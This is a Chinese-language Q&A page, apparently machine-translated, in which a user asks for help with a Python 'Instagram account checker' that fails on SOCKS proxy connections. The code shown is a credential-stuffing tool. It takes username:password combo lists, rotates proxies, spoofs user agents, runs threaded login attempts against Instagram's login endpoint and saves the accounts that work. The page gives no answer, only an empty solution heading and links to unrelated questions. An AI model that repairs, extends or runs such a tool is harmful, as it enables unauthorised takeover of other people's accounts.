python - 我的代码有问题,代理连接错误
问题描述
我认为我的代码有问题,我尝试制作 Instagram 帐户检查器以用于教育目的,但每次我尝试使用代理时都没有任何效果并且程序会引发错误:
SOCKSHTTPSConnectionPool(host='www.instagram.com', port=443): 最大重试次数超过 url: /accounts/login/ajax/ (由 NewConnectionError('<urllib3.contrib.socks.SOCKSHTTPSConnection object at 0x000002A7CE300FD0>: Failed建立新连接:[WinError 10061]
或者
SOCKSHTTPSConnectionPool(host='www.instagram.com', port=443): 最大重试次数超过 url: /accounts/login/ajax/ (由 NewConnectionError('<urllib3.contrib.socks.SOCKSHTTPSConnection object at 0x000002A7CE300FD0>: Failed建立新连接:[WinError 10054]
我在文件中使用的格式:“IP:PORT”和帐户:“用户名:密码”
import fake_useragent
import requests
import threading
import random
file = open('combo.txt').read().split('\n')
goods = open('good.txt', 'a+')
proxies = open('proxies.txt').read().split('\n')
def account_check(account):
username_password = account.split(':')
username = username_password[0].strip()
password = username_password[1].strip()
# print(username, password)
url = 'https://www.instagram.com/accounts/login/ajax/'
payload = f'username={username}&enc_password=%23PWD_INSTAGRAM_BROWSER%3A0%3A0%3A{password}&queryParams=%7B%7D&optIntoOneTap=false'
proxy_choice = random.choice(proxies)
proxy = {
'http': 'socks4://' + proxy_choice,
'https': 'socks4://' + proxy_choice
}
fake_agent_for_headers = fake_useragent.UserAgent()
headers = {
'authority': 'www.instagram.com',
'x-ig-www-claim': 'hmac.AR08hbh0m_VdJjwWvyLFMaNo77YXgvW_0JtSSKgaLgDdUu9h',
'x-instagram-ajax': '82a581bb9399',
'content-type': 'application/x-www-form-urlencoded',
'accept': '*/*',
'user-agent': fake_agent_for_headers.chrome,
'x-requested-with': 'XMLHttpRequest',
'x-csrftoken': 'rn3aR7phKDodUHWdDfCGlERA7Gmhes8X',
'x-ig-app-id': '936619743392459',
'origin': 'https://www.instagram.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://www.instagram.com/',
'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
'cookie': ''
}
request = requests.post(url=url, data=payload, headers=headers, proxies=proxy).text
print(request)
if '"authenticated":true' in request.split(','):
print('>>> Invalid Account')
goods.write(f'{username}:{password}\n')
else:
print('>>> Invalid Account')
def thread():
while file:
to_check = file[0]
file.remove(to_check)
try:
account_check(to_check)
except Exception as ex:
print("Ошибка:", ex)
if __name__ == '__main__':
thread_count = int(input('>>> Amount of threads:'))
for _ in range(thread_count):
threads = threading.Thread(target=thread)
threads.start()
解决方案
推荐阅读
- excel - 如何在 VBA 中制作三重级联组合框
- java - CAS 5.3 管理 - 发现多个名为 [spring_web] 的片段。这对于相对排序是不合法的
- c# - 以编程方式获取已安装应用程序可执行文件的列表(Windows10、C#)
- c# - 使用正则表达式对字符串进行分组
- python - 无法加载 python gstreamer 元素
- javascript - 在完全 javascript Web 堆栈中,从十进制货币源转换时如何避免浮点错误?
- powershell-core - 如何使用 sudo 运行 PowerShell pwsh 命令
- c - C: 为什么我的库中的全局变量不会更新?(使用 ALSA 库)
- sql-server - 我真的需要这些默认模式吗?
- python - 删除值为零的堆叠条形图上的注释